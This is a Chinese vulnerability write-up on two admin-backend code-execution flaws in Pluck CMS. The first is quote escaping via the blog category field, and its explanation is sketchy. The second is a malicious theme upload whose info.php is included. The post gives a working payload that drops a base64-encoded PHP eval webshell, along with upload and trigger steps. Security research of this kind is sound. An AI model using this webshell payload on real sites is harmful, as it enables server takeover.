php里pluck,Pluck CMS后台另两处任意代码执行
前言
本来是在cnvd上看到了有人发Pluck CMS的洞,但是没有公开细节,便想着自己挖一下。
但是审完第一个后发现已经有两位同学写出来了
当时自己的思路跟第一个同学一样,第二个同学的思路自己确实没有想到,佩服佩服。
但是心有不甘,自己就继续挖掘了一下,又发现了两处可以任意命令执行的地方。
正文
第一处:过滤不严导致单引号逃逸
这个跟第一篇思路一样,只不过找到了另一处未过滤的点
在function.php里面blog_save_post()函数
function blog_save_post($title, $category, $content, $current_seoname = null, $force_time = null) {
//Check if 'posts' directory exists, if not; create it.
if (!is_dir(BLOG_POSTS_DIR)) {
mkdir(BLOG_POSTS_DIR);
chmod(BLOG_POSTS_DIR, 0777);
}
//Create seo-filename
$seoname = seo_url($title);
//Sanitize variables.
$title = sanitize($title, true);
$content = sanitizePageContent($content, false);
if (!empty($current_seoname)) {
$current_filename = blog_get_post_filename($current_seoname);
$parts = explode('.', $current_filename);
$number = $parts[0];
//Get the post time.
include BLOG_POSTS_DIR.'/'.$current_filename;
if ($seoname != $current_seoname) {
unlink(BLOG_POSTS_DIR.'/'.$current_filename);
if (is_dir(BLOG_POSTS_DIR.'/'.$current_seoname))
rename(BLOG_POSTS_DIR.'/'.$current_seoname, BLOG_POSTS_DIR.'/'.$seoname);
}
}
else {
$files = read_dir_contents(BLOG_POSTS_DIR, 'files');
//Find the number.
if ($files) {
$number = count($files);
$number++;
}
else
$number = 1;
if (empty($force_time))
$post_time = time();
else
$post_time = $force_time;
}
//Save information.
$data['post_title'] = $title;
$data['post_category'] = $category;
$data['post_content'] = $content;
$data['post_time'] = $post_time;
save_file(BLOG_POSTS_DIR.'/'.$number.'.'.$seoname.'.php', $data);
//Return seoname under which post has been saved (to allow for redirect).
return $seoname;
}
其中
$data['post_title'] = $title;
$data['post_category'] = $category;
$data['post_content'] = $content;
$data['post_time'] = $post_time;
$title $content 均被过滤,$post_time不可控,$category可控
所以只要把$cont2变成我们的payload即可
第二处:安装模版+文件包含导致任意命令执行
很多CMS都会在安装模版的时候getshell,那么这里笔者也发现了类似的漏洞。
直接访问失败
首先准备一个shell.php里面是我们的phpinfo();
然后打包成shell.zip,直接上传主题
发现确实上传并且解压成功
但是由于目录下有.htaccess文件,直接把php设置为不可解析,所以无法直接访问
文件包含突破
所以就想到需要找一个位置对其进行包含,来达到执行的目的。
首先看到admin.php中关于theme的部分
跟进 data/inc/theme.php,发现调用了get_themes()方法
跟进 functions.all.php,查看get_themes()方法
function get_themes() {
$dirs = read_dir_contents('data/themes', 'dirs');
if ($dirs) {
natcasesort($dirs);
foreach ($dirs as $dir) {
if (file_exists('data/themes/'.$dir.'/info.php')) {
include_once ('data/themes/'.$dir.'/info.php');
$themes[] = array(
'title' => $themename,
'dir' => $dir
);
}
}
return $themes;
}
else
return false;
}
发现会遍历data/themes/下所有主题目录,并且包含他的info.php文件
此时info.php可控,就导致了任意代码执行。
利用方法
首先准备一个info.php
file_put_contents('x.php',base64_decode('PD9waHAgQGV2YWwoJF9HRVRbJ21yNiddKTs/Pg=='));
?>
然后打包压缩成shell.zip
上传安装主题,然后点击回到主题页,此时触发文件包含。
然后根目录下就会生成我们的一句话x.php,密码是mr6
最后
本人水平有限,文笔较差,如果有什么写的不对的地方还希望大家能够不吝赐教
php里pluck,Pluck CMS后台另两处任意代码执行相关推荐
- Dedecms V5.7后台的两处getshell
在这个帖子里我把两个洞一起写出来. 第一个是常见的思路,把语句写入inc文件,然后在其他的include语句中,包含了恶意代码进而getshell. 漏洞代码在:/dede/sys_verifies. ...
- 记一次海洋cms任意代码执行漏洞拿shell(url一句话)
实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...
- 达芬奇调色软件被曝两个远程代码执行缺陷
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 Blackmagci Software 公司最近修复了非常热门的达芬奇调色 (DaVinci Resolve) 软件中的两个漏洞,它们可导致攻击 ...
- 开源计算机视觉库 OpenCV 被曝两个严重的任意代码执行漏洞(详情)
聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 开源计算机视觉库 OpenCV中修复了两个高危的缓冲区溢出漏洞,它们本可导致任意代码执行的后果. OpenCV是一款开源库,它由Inte ...
- 骑士cms任意代码执行
漏洞描述: 迅易科技 74cms是中国迅易科技公司的一套基于PHP和MySQL的在线招聘系统. 74cms version 5.0.1 存在安全漏洞,该漏洞源于应用管理控制器ConfigControl ...
- weblogic系列漏洞整理————8、WebLogic 两处任意文件上传漏洞动态分析(CVE-2018-2894)
0x01 前言 CNCERT前几天发公告称发现Oracle公司出品的基于JavaEE结构的中间件WebLogic产品存在一个远程上传漏洞,并得到了厂商的确认,危害程度评分高达9.8分.鉴于厂商已进行了 ...
- vulfocus——骑士cms任意代码执行(CVE-2020-35339)
描述 骑士人才系统是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才招聘系统. 后台账号密码均为adminadmin 复现 1.打开web页面 2.找到后台登陆界面 ip:port/i ...
- 骑士cms任意代码执行(CVE-2020-35339)
本文章仅供学习使用,如用作非法用途,概不负责 0x01 漏洞介绍 骑士人才系统是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才招聘系统.由太原迅易科技有限公司于2009年正式推出.为 ...
- Discuz! X3.1 后台代码执行
Discuz! X3.1 后台代码执行 漏洞描述 Discuz! X3.1后台存在任意代码执行问题,要后台权限. 实验步骤 一.访问后台地址: http://域名/admin.php 账号:admin ...
最新文章
- SVO 学习笔记(三)
- CNN是靠什么线索学习到深度信息的?——一个经验性探索
- 为什么要叫python-为什么我要学习python?
- CentOS 6.7安装Storm 0.9.7
- [转]PHP程序61条面向对象分析设计的经验原则
- spring发邮件_跟踪异常–第4部分– Spring的邮件发件人
- nginx 一个请求发给多台机器_一个机器人可以同时为多台数控机床上下料吗?东智力衡...
- 漫步数理统计二十二——二项及相关分布
- Irc 客户端 Android,Revolution IRC | F-Droid - Free and Open Source Android App Repository
- Struts 2拦截器
- 惠普HP CQ40 519TX XP系统安装以及XP驱动
- CHERRY樱桃机械键盘按键
- 网络安全之黑客入侵的步骤
- 【ImgtuUtil】路过图床基础 Java 工具类(支持登录、上传、删除图片等操作)
- 在群晖上搭建基于 PostgreSQL 的 Joplin Server
- G-sensor概述及常用芯片整理(转)
- VMware虚拟机中安装苹果系统MacOS 10.12 Sierra
- 我有一台云服务器,可以干什么?
- 利息积数的计算方法及应用
- Shoprxr 开源电商系统
热门文章
- 可任意切换分频倍数的时钟分频电路
- 【接箱子2.0】新手划过,dalao勿喷
- Holy Grail 圣杯布局详解
- In Search of the Holy Grail 寻找圣杯 中文翻译
- html怎么设置点击播放音乐,html5点击播放音乐试听按钮动画特效
- 复旦提出M2TR:首个多模态多尺度Transformer
- xml 硕正报表_硕正轻量级富Web应用套件–硕正报表主要指标及功能清单
- BZOJ2144: 跳跳棋
- terminate called after throwing an instance of ‘YAML::TypedBadConversion<int>‘ what(): bad conver
- [《小女人的高跟鞋》偶感小记]2012年8月28日